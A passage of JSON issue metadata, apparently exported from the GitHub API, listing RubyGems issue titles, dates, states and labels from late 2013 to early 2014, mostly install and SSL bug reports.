report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0wOFQwODoyMDoxNy0wNDowMM4BO3nQ","node":{"number":675,"createdAt":"2013-10-08T12:20:17Z","closedAt":"2013-10-08T21:02:56Z","updatedAt":"2013-10-08T23:23:18Z","state":"CLOSED","title":"Change your password email sends non-SSL link","url":"https://github.com/rubygems/rubygems/issues/675","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0wOFQxMDo0NTo0OS0wNDowMM4BO5s/","node":{"number":676,"createdAt":"2013-10-08T14:45:49Z","closedAt":"2013-10-08T22:40:33Z","updatedAt":"2013-10-08T22:47:04Z","state":"CLOSED","title":"bug in ruby 1.9.1","url":"https://github.com/rubygems/rubygems/issues/676","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0wOVQwNzozMjowNC0wNDowMM4BPGnY","node":{"number":677,"createdAt":"2013-10-09T11:32:04Z","closedAt":null,"updatedAt":"2016-06-09T09:21:15Z","state":"OPEN","title":"improve gem install --default","url":"https://github.com/rubygems/rubygems/issues/677","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0wOVQxNTo0MDozMi0wNDowMM4BPNrL","node":{"number":679,"createdAt":"2013-10-09T19:40:32Z","closedAt":"2013-10-09T23:24:52Z","updatedAt":"2013-10-09T23:46:56Z","state":"CLOSED","title":"Destination dir should be expanded when installing gems","url":"https://github.com/rubygems/rubygems/issues/679","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0xMFQxMjozNTo1NS0wNDowMM4BPa1y","node":{"number":680,"createdAt":"2013-10-10T16:35:55Z","closedAt":"2013-10-10T21:31:06Z","updatedAt":"2013-10-10T21:31:06Z","state":"CLOSED","title":"File starting with period no longer installed since 2.1.0","url":"https://github.com/rubygems/rubygems/issues/680","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0xMVQwNDowMjo0NC0wNDowMM4BPjlE","node":{"number":682,"createdAt":"2013-10-11T08:02:44Z","closedAt":"2013-10-14T23:56:44Z","updatedAt":"2013-10-14T23:56:44Z","state":"CLOSED","title":"Don''t use dot files to mark build as complete","url":"https://github.com/rubygems/rubygems/issues/682","labels":{"nodes":[{"name":"category: API"},{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0xMVQyMDoyMDowNS0wNDowMM4BPvAp","node":{"number":684,"createdAt":"2013-10-12T00:20:05Z","closedAt":"2013-10-12T00:59:26Z","updatedAt":"2013-10-12T00:59:26Z","state":"CLOSED","title":"Accessing https://rubygems.org/gems/cloak","url":"https://github.com/rubygems/rubygems/issues/684","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0xNFQxMjowMTo1NS0wNDowMM4BP+fj","node":{"number":686,"createdAt":"2013-10-14T16:01:55Z","closedAt":"2013-10-14T23:21:06Z","updatedAt":"2013-10-14T23:21:06Z","state":"CLOSED","title":"gem search is not filtering on STRING on 2.2.0.preview.1","url":"https://github.com/rubygems/rubygems/issues/686","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0xNVQxMjozODowMi0wNDowMM4BQN4d","node":{"number":687,"createdAt":"2013-10-15T16:38:02Z","closedAt":"2013-10-15T22:52:54Z","updatedAt":"2013-10-15T23:04:20Z","state":"CLOSED","title":"~/.gem is always used, ignoring the GEM_HOME / GEM_PATH environment variables","url":"https://github.com/rubygems/rubygems/issues/687","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0xNVQxNDo0MDo0NC0wNDowMM4BQPri","node":{"number":688,"createdAt":"2013-10-15T18:40:44Z","closedAt":"2013-10-15T22:43:53Z","updatedAt":"2013-10-15T22:43:53Z","state":"CLOSED","title":"gem update --system does not install the latest version when the SSL certs are out of date","url":"https://github.com/rubygems/rubygems/issues/688","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0xNVQyMjo0MDoxNS0wNDowMM4BQU69","node":{"number":689,"createdAt":"2013-10-16T02:40:15Z","closedAt":"2013-10-18T21:35:24Z","updatedAt":"2013-10-18T21:35:24Z","state":"CLOSED","title":"Error when home directory does not exist:","url":"https://github.com/rubygems/rubygems/issues/689","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0xNlQxMjo1NDo0NC0wNDowMM4BQd3T","node":{"number":690,"createdAt":"2013-10-16T16:54:44Z","closedAt":"2013-10-16T17:21:34Z","updatedAt":"2013-10-16T17:21:34Z","state":"CLOSED","title":"Rails 4 on Windows sqlite3 gem problem (and workaround)","url":"https://github.com/rubygems/rubygems/issues/690","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0xNlQxNjozNDo1Mi0wNDowMM4BQhSV","node":{"number":691,"createdAt":"2013-10-16T20:34:52Z","closedAt":"2013-10-16T20:55:31Z","updatedAt":"2013-10-17T02:11:10Z","state":"CLOSED","title":"`remove_method'': method `gem_dir'' not defined in Gem::Specification","url":"https://github.com/rubygems/rubygems/issues/691","labels":{"nodes":[{"name":"category: API"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0xN1QwMTozNTo0NC0wNDowMM4BQnhS","node":{"number":692,"createdAt":"2013-10-17T05:35:44Z","closedAt":"2013-10-19T15:48:58Z","updatedAt":"2013-10-19T15:48:58Z","state":"CLOSED","title":"SSL Error When Installing Gems","url":"https://github.com/rubygems/rubygems/issues/692","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0xOFQxMTo0MDozNi0wNDowMM4BQ+VZ","node":{"number":693,"createdAt":"2013-10-18T15:40:36Z","closedAt":"2013-10-18T22:11:55Z","updatedAt":"2013-10-18T22:11:55Z","state":"CLOSED","title":"(2.2.0) Can''t update gems that have versions for multiple platforms","url":"https://github.com/rubygems/rubygems/issues/693","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0yMFQyMTo1MzowMC0wNDowMM4BROQN","node":{"number":695,"createdAt":"2013-10-21T01:53:00Z","closedAt":"2013-10-21T23:26:57Z","updatedAt":"2013-10-21T23:26:57Z","state":"CLOSED","title":"--ignore-dependencies no longer works (2.1 regression)","url":"https://github.com/rubygems/rubygems/issues/695","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0yMlQyMzoxNjo0Ni0wNDowMM4BRwSQ","node":{"number":696,"createdAt":"2013-10-23T03:16:46Z","closedAt":"2013-10-24T21:43:38Z","updatedAt":"2013-10-26T18:56:50Z","state":"CLOSED","title":"`gem server` not respecting `--dir`?","url":"https://github.com/rubygems/rubygems/issues/696","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0yM1QxMDo1MDo1MS0wNDowMM4BR3B7","node":{"number":697,"createdAt":"2013-10-23T14:50:51Z","closedAt":"2013-10-28T22:36:54Z","updatedAt":"2014-02-22T12:05:32Z","state":"CLOSED","title":"Wildcard handling on Windows changed between 1.8.24 and 2.1.x","url":"https://github.com/rubygems/rubygems/issues/697","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0yNVQxNToxMTozMS0wNDowMM4BSb7b","node":{"number":699,"createdAt":"2013-10-25T19:11:31Z","closedAt":"2013-11-26T21:46:36Z","updatedAt":"2013-11-26T21:50:04Z","state":"CLOSED","title":"Bundler installs gems that Rubygems can''t, Merge in the Resolver?","url":"https://github.com/rubygems/rubygems/issues/699","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0yNlQyMzo0MjoyNS0wNDowMM4BSkvO","node":{"number":700,"createdAt":"2013-10-27T03:42:25Z","closedAt":"2013-11-27T00:59:19Z","updatedAt":"2014-01-01T01:49:01Z","state":"CLOSED","title":"Rubygems master doesn''t load native exts installed with Bundler","url":"https://github.com/rubygems/rubygems/issues/700","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0yN1QxNToxNzozOC0wNDowMM4BSnuR","node":{"number":702,"createdAt":"2013-10-27T19:17:38Z","closedAt":"2014-01-13T21:36:55Z","updatedAt":"2016-01-01T21:24:59Z","state":"CLOSED","title":"Proposal: \"Internal mode\" for gemspecs to allow :git repo dependencies","url":"https://github.com/rubygems/rubygems/issues/702","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0zMFQxMDoxNDoxMC0wNDowMM4BTQ7E","node":{"number":703,"createdAt":"2013-10-30T14:14:10Z","closedAt":"2013-12-19T21:35:52Z","updatedAt":"2013-12-19T21:35:52Z","state":"CLOSED","title":"Better checking on running Ruby binary in tests","url":"https://github.com/rubygems/rubygems/issues/703","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMS0wMVQxMzoxMzo1Ny0wNDowMM4BTzq+","node":{"number":704,"createdAt":"2013-11-01T17:13:57Z","closedAt":"2013-11-13T00:41:49Z","updatedAt":"2013-11-14T05:38:18Z","state":"CLOSED","title":"[2.1.10] gem update fail on windows","url":"https://github.com/rubygems/rubygems/issues/704","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMS0wNVQwNTowNDoyOS0wNTowMM4BUV7i","node":{"number":705,"createdAt":"2013-11-05T10:04:29Z","closedAt":null,"updatedAt":"2016-06-09T09:20:11Z","state":"OPEN","title":"Resolution progress indication.","url":"https://github.com/rubygems/rubygems/issues/705","labels":{"nodes":[{"name":"category: install"},{"name":"status: ready"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMS0wN1QwOTozNjo1Ni0wNTowMM4BU85T","node":{"number":707,"createdAt":"2013-11-07T14:36:56Z","closedAt":"2016-01-31T21:37:36Z","updatedAt":"2016-01-31T21:37:37Z","state":"CLOSED","title":"Add option to ignore permissions when packaging","url":"https://github.com/rubygems/rubygems/issues/707","labels":{"nodes":[{"name":"category: gem spec"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMS0wN1QxNjo1NjowMC0wNTowMM4BVEKa","node":{"number":708,"createdAt":"2013-11-07T21:56:00Z","closedAt":"2013-11-27T01:19:29Z","updatedAt":"2013-11-27T01:19:29Z","state":"CLOSED","title":"gem uninstall seems totally broken in non-system paths","url":"https://github.com/rubygems/rubygems/issues/708","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMS0xMFQwNzoyMTo0NC0wNTowMM4BVeP2","node":{"number":709,"createdAt":"2013-11-10T12:21:44Z","closedAt":"2013-11-27T01:50:49Z","updatedAt":"2013-11-27T01:50:49Z","state":"CLOSED","title":"error trying to get rails on osx","url":"https://github.com/rubygems/rubygems/issues/709","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMS0xMlQwOTozNToyMi0wNTowMM4BV6oT","node":{"number":710,"createdAt":"2013-11-12T14:35:22Z","closedAt":"2013-11-12T20:52:47Z","updatedAt":"2013-11-12T20:52:58Z","state":"CLOSED","title":"SSL Certificate error for rubygems.org - invalid certificate","url":"https://github.com/rubygems/rubygems/issues/710","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMS0xM1QwMTowNzo1My0wNTowMM4BWG/K","node":{"number":711,"createdAt":"2013-11-13T06:07:53Z","closedAt":"2013-11-27T01:48:21Z","updatedAt":"2013-11-27T16:09:33Z","state":"CLOSED","title":"Can''t install Rails on OSx","url":"https://github.com/rubygems/rubygems/issues/711","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMS0xNVQwNjowMzozMS0wNTowMM4BWsWM","node":{"number":712,"createdAt":"2013-11-15T11:03:31Z","closedAt":"2013-11-15T13:52:01Z","updatedAt":"2013-11-15T13:52:01Z","state":"CLOSED","title":"Can`t install pg","url":"https://github.com/rubygems/rubygems/issues/712","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMS0xOFQxMToyODozMC0wNTowMM4BXKXZ","node":{"number":714,"createdAt":"2013-11-18T16:28:30Z","closedAt":"2013-11-22T19:02:02Z","updatedAt":"2017-09-05T10:55:42Z","state":"CLOSED","title":"Arbitrary SSL certificate verification failure for rubygems.org (using bundler) ","url":"https://github.com/rubygems/rubygems/issues/714","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMS0yMFQwNjoxNjoxNS0wNTowMM4BXrn5","node":{"number":715,"createdAt":"2013-11-20T11:16:15Z","closedAt":"2013-11-20T12:22:11Z","updatedAt":"2013-11-20T12:22:11Z","state":"CLOSED","title":"Newbie - Problem creating a new project!","url":"https://github.com/rubygems/rubygems/issues/715","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMS0yMVQxODozMTozNS0wNTowMM4BYJOU","node":{"number":717,"createdAt":"2013-11-21T23:31:35Z","closedAt":"2013-11-27T01:28:32Z","updatedAt":"2013-11-27T01:28:32Z","state":"CLOSED","title":"gem check reports multiple issues with fresh install of rvm+ruby","url":"https://github.com/rubygems/rubygems/issues/717","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMS0yM1QyMzo1Mzo1My0wNTowMM4BYgEl","node":{"number":720,"createdAt":"2013-11-24T04:53:53Z","closedAt":"2013-11-24T05:03:40Z","updatedAt":"2013-11-24T05:03:40Z","state":"CLOSED","title":"Allow gemspec-authors to either make use of
tags, or automatically treat \\n\\n sequence follows as
tags when displayed on project homepage at rubygems.org","url":"https://github.com/rubygems/rubygems/issues/720","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMS0yOVQwNjo0ODozMC0wNTowMM4BZmcJ","node":{"number":722,"createdAt":"2013-11-29T11:48:30Z","closedAt":null,"updatedAt":"2016-06-09T09:20:11Z","state":"OPEN","title":"add ability to define dependencies based on ruby engine","url":"https://github.com/rubygems/rubygems/issues/722","labels":{"nodes":[{"name":"category: API"},{"name":"category: gem spec"},{"name":"status: ready"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMS0yOVQxNDozNToxMy0wNTowMM4BZq76","node":{"number":724,"createdAt":"2013-11-29T19:35:13Z","closedAt":"2013-12-02T00:21:53Z","updatedAt":"2014-03-02T11:19:28Z","state":"CLOSED","title":"Support for SemVer Build strings","url":"https://github.com/rubygems/rubygems/issues/724","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMi0wMVQwNTozOTo1My0wNTowMM4BZxw+","node":{"number":726,"createdAt":"2013-12-01T10:39:53Z","closedAt":"2013-12-03T00:06:05Z","updatedAt":"2017-02-17T15:58:21Z","state":"CLOSED","title":"gem install fails with \"can''t modify frozen String\" for certain gems","url":"https://github.com/rubygems/rubygems/issues/726","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMi0wM1QwMDowMzoyMC0wNTowMM4BaG+k","node":{"number":727,"createdAt":"2013-12-03T05:03:20Z","closedAt":"2013-12-08T19:26:13Z","updatedAt":"2013-12-08T20:52:12Z","state":"CLOSED","title":"rubygems head Gemfile error","url":"https://github.com/rubygems/rubygems/issues/727","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMi0wM1QwOTo1Njo0Ny0wNTowMM4BaNVC","node":{"number":728,"createdAt":"2013-12-03T14:56:47Z","closedAt":"2016-03-03T16:28:47Z","updatedAt":"2016-03-03T16:28:48Z","state":"CLOSED","title":"manage ''access control'' for gem sources","url":"https://github.com/rubygems/rubygems/issues/728","labels":{"nodes":[{"name":"category: API"},{"name":"status: blocked / backlog"},{"name":"status: ready"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMi0wNVQwMjo1MDoyOS0wNTowMM4BarlA","node":{"number":729,"createdAt":"2013-12-05T07:50:29Z","closedAt":"2013-12-10T19:50:33Z","updatedAt":"2013-12-10T19:50:33Z","state":"CLOSED","title":"test_install_from_gemdeps_install_dir remains lock file","url":"https://github.com/rubygems/rubygems/issues/729","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMi0wNVQxNzowMTowMi0wNTowMM4Ba3xr","node":{"number":730,"createdAt":"2013-12-05T22:01:02Z","closedAt":"2013-12-06T19:05:00Z","updatedAt":"2016-01-01T21:25:00Z","state":"CLOSED","title":"Provide a way to run tests from a gem at install time","url":"https://github.com/rubygems/rubygems/issues/730","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMi0wOFQwMToyNzoyNC0wNTowMM4BbPro","node":{"number":732,"createdAt":"2013-12-08T06:27:24Z","closedAt":"2013-12-08T08:30:08Z","updatedAt":"2013-12-08T14:20:28Z","state":"CLOSED","title":"''gem push'' has wrong text","url":"https://github.com/rubygems/rubygems/issues/732","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMi0wOFQwMToyNzoyNS0wNTowMM4BbPrp","node":{"number":733,"createdAt":"2013-12-08T06:27:25Z","closedAt":"2013-12-08T06:34:13Z","updatedAt":"2013-12-08T08:21:49Z","state":"CLOSED","title":"''gem push'' has wrong text","url":"https://github.com/rubygems/rubygems/issues/733","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMi0wOFQxNjoxODo0My0wNTowMM4BbSot","node":{"number":734,"createdAt":"2013-12-08T21:18:43Z","closedAt":"2013-12-08T23:38:53Z","updatedAt":"2013-12-08T23:38:53Z","state":"CLOSED","title":"`gem i -g` cryptic error without `Gemfile`","url":"https://github.com/rubygems/rubygems/issues/734","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMi0wOFQxODo0NTo1OC0wNTowMM4BbTUh","node":{"number":735,"createdAt":"2013-12-08T23:45:58Z","closedAt":null,"updatedAt":"2016-06-09T09:20:11Z","state":"OPEN","title":"Rubygems should not install test files","url":"https://github.com/rubygems/rubygems/issues/735","labels":{"nodes":[{"name":"category: gem spec"},{"name":"category: install"},{"name":"status: ready"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMi0xMVQyMjoxMTo1Mi0wNTowMM4BcJUa","node":{"number":745,"createdAt":"2013-12-12T03:11:52Z","closedAt":"2013-12-12T04:03:57Z","updatedAt":"2013-12-12T04:03:57Z","state":"CLOSED","title":"No Stairway, denied! when trying to push gem update","url":"https://github.com/rubygems/rubygems/issues/745","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMi0xNlQwODo1NToxNS0wNTowMM4Bc46n","node":{"number":748,"createdAt":"2013-12-16T13:55:15Z","closedAt":"2013-12-19T21:56:27Z","updatedAt":"2013-12-19T21:56:27Z","state":"CLOSED","title":"Latest loaded gem should be placed on top of $LOAD_PATH","url":"https://github.com/rubygems/rubygems/issues/748","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMi0xNlQxMjowMDoxNy0wNTowMM4Bc7+2","node":{"number":749,"createdAt":"2013-12-16T17:00:17Z","closedAt":"2013-12-16T20:13:57Z","updatedAt":"2016-01-01T21:25:00Z","state":"CLOSED","title":"Make lib copy of .so file optional","url":"https://github.com/rubygems/rubygems/issues/749","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMi0xN1QwNjoyNzozNS0wNTowMM4BdIlK","node":{"number":750,"createdAt":"2013-12-17T11:27:35Z","closedAt":"2013-12-19T03:01:10Z","updatedAt":"2013-12-20T11:36:29Z","state":"CLOSED","title":"Installing gem 2nd time results in infinity loop","url":"https://github.com/rubygems/rubygems/issues/750","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMi0xN1QwNjo0MDozMC0wNTowMM4BdIuh","node":{"number":751,"createdAt":"2013-12-17T11:40:30Z","closedAt":"2016-01-30T22:24:44Z","updatedAt":"2016-01-30T22:25:27Z","state":"CLOSED","title":"Allow to uninstall gem after failed build","url":"https://github.com/rubygems/rubygems/issues/751","labels":{"nodes":[{"name":"category: install"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMi0xOFQwMzoxMDo1NS0wNTowMM4BdXXr","node":{"number":752,"createdAt":"2013-12-18T08:10:55Z","closedAt":"2013-12-19T02:49:42Z","updatedAt":"2013-12-19T02:50:25Z","state":"CLOSED","title":"flock fails after #737 on Solaris (and probably on JRuby)","url":"https://github.com/rubygems/rubygems/issues/752","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMi0xOVQwNjowNzozNi0wNTowMM4BdpnG","node":{"number":753,"createdAt":"2013-12-19T11:07:36Z","closedAt":"2014-01-02T21:32:42Z","updatedAt":"2014-12-29T17:52:51Z","state":"CLOSED","title":"gem 2.1.11 ERROR: While executing gem ... (Gem::RemoteFetcher::FetchError)","url":"https://github.com/rubygems/rubygems/issues/753","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMi0xOVQwNjo1OToxMy0wNTowMM4BdqK1","node":{"number":754,"createdAt":"2013-12-19T11:59:13Z","closedAt":"2013-12-19T19:45:20Z","updatedAt":"2013-12-19T19:45:20Z","state":"CLOSED","title":"Issue with the JSON gem - json-1.8.1.gem","url":"https://github.com/rubygems/rubygems/issues/754","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMi0yM1QxMTo1MDoyOS0wNTowMM4BeRvd","node":{"number":758,"createdAt":"2013-12-23T16:50:29Z","closedAt":"2014-01-06T22:30:38Z","updatedAt":"2014-01-10T15:06:46Z","state":"CLOSED","title":"Unexpected documentation generated","url":"https://github.com/rubygems/rubygems/issues/758","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMi0yNlQxMDo0NTo0My0wNTowMM4Bekmu","node":{"number":760,"createdAt":"2013-12-26T15:45:43Z","closedAt":"2014-01-02T22:09:16Z","updatedAt":"2014-01-05T02:26:44Z","state":"CLOSED","title":"Can''t install local gems with --ignore-dependencies option","url":"https://github.com/rubygems/rubygems/issues/760","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMi0yN1QwODowOTowOC0wNTowMM4BerVM","node":{"number":761,"createdAt":"2013-12-27T13:09:08Z","closedAt":"2014-01-06T23:14:21Z","updatedAt":"2014-01-06T23:14:21Z","state":"CLOSED","title":"file:/// urls in .gemrc no longer work for 2.2.0","url":"https://github.com/rubygems/rubygems/issues/761","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMi0yOFQwOTozMDo1MC0wNTowMM4BeyC3","node":{"number":762,"createdAt":"2013-12-28T14:30:50Z","closedAt":"2014-01-06T23:15:02Z","updatedAt":"2014-03-05T22:27:39Z","state":"CLOSED","title":"Gem::RemoteFetcher::UnknownHostError with rubygems 2.2.0","url":"https://github.com/rubygems/rubygems/issues/762","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMS0wMVQyMDo1NDoxOC0wNTowMM4BfLId","node":{"number":766,"createdAt":"2014-01-02T01:54:18Z","closedAt":"2014-01-15T23:59:28Z","updatedAt":"2014-02-18T14:36:06Z","state":"CLOSED","title":"''gem install'' on Rubygems 2.2 / Ruby 2.1 dramatically slower than 2.0/2.0","url":"https://github.com/rubygems/rubygems/issues/766","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMS0wMVQyMjozODo1NC0wNTowMM4BfLeQ","node":{"number":767,"createdAt":"2014-01-02T03:38:54Z","closedAt":"2014-01-02T22:52:06Z","updatedAt":"2014-01-02T22:53:06Z","state":"CLOSED","title":"rubygems 2.2.0 results in a \"ERROR: While executing gem ... (ArgumentError) Malformed version number string 3.16.14.3-x86_64-linux\" when running gem install -g twice","url":"https://github.com/rubygems/rubygems/issues/767","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMS0wMlQxNTo0ODozMi0wNTowMM4BfUMF","node":{"number":768,"createdAt":"2014-01-02T20:48:32Z","closedAt":"2014-05-23T23:07:30Z","updatedAt":"2014-05-26T15:26:49Z","state":"CLOSED","title":"gem install -g and bundle install gives inconsistent results when installing pry-rails","url":"https://github.com/rubygems/rubygems/issues/768","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMS0wMlQxNjoyMzoxNS0wNTowMM4BfUmn","node":{"number":769,"createdAt":"2014-01-02T21:23:15Z","closedAt":"2014-01-12T03:39:23Z","updatedAt":"2016-01-01T21:25:00Z","state":"CLOSED","title":"Add option to build extensions in extension source directory, similar to previous rubygems versions","url":"https://github.com/rubygems/rubygems/issues/769","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMS0wMlQxNzowMjowMi0wNTowMM4BfVGi","node":{"number":770,"createdAt":"2014-01-02T22:02:02Z","closedAt":"2014-01-03T22:46:34Z","updatedAt":"2014-01-03T22:46:34Z","state":"CLOSED","title":"Make Gem.ruby_api_version use ruby_version instead of hard coding MAJOR.MINOR.TEENY","url":"https://github.com/rubygems/rubygems/issues/770","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMS0wM1QxNjoyNDozOC0wNTowMM4BfgeU","node":{"number":771,"createdAt":"2014-01-03T21:24:38Z","closedAt":"2014-01-03T21:57:52Z","updatedAt":"2014-01-04T17:49:49Z","state":"CLOSED","title":"Problem with --ignore-dependencies and local gem install","url":"https://github.com/rubygems/rubygems/issues/771","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMS0wN1QxMzo1MDo0OC0wNTowMM4BgFXu","node":{"number":775,"createdAt":"2014-01-07T18:50:48Z","closedAt":"2014-01-07T20:28:28Z","updatedAt":"2014-01-07T21:38:58Z","state":"CLOSED","title":"`undefined method `full_name'' for nil:NilClass` when installing from local","url":"https://github.com/rubygems/rubygems/issues/775","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMS0wN1QxODo0NzoxMS0wNTowMM4BgJ6H","node":{"number":776,"createdAt":"2014-01-07T23:47:11Z","closedAt":"2014-01-15T01:43:09Z","updatedAt":"2014-01-15T01:43:09Z","state":"CLOSED","title":"gem install -g Gemfile --local accesses the network","url":"https://github.com/rubygems/rubygems/issues/776","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMS0wOFQwNTo0MTowNy0wNTowMM4BgQCJ","node":{"number":778,"createdAt":"2014-01-08T10:41:07Z","closedAt":"2014-01-09T00:46:54Z","updatedAt":"2014-01-09T00:46:54Z","state":"CLOSED","title":"errors in test/mkmf","url":"https://github.com/rubygems/rubygems/issues/778","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMS0wOFQxNDowMDozMS0wNTowMM4BgX1F","node":{"number":779,"createdAt":"2014-01-08T19:00:31Z","closedAt":"2015-11-04T12:13:56Z","updatedAt":"2016-01-01T21:25:00Z","state":"CLOSED","title":"Add a command to authenticate against the gem server without doing anything.","url":"https://github.com/rubygems/rubygems/issues/779","labels":{"nodes":[{"name":"category: command"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMS0wOFQxNDowMTowOC0wNTowMM4BgX1g","node":{"number":780,"createdAt":"2014-01-08T19:01:08Z","closedAt":"2015-11-04T03:46:54Z","updatedAt":"2016-01-01T21:25:00Z","state":"CLOSED","title":"gem push should have a --dry-run 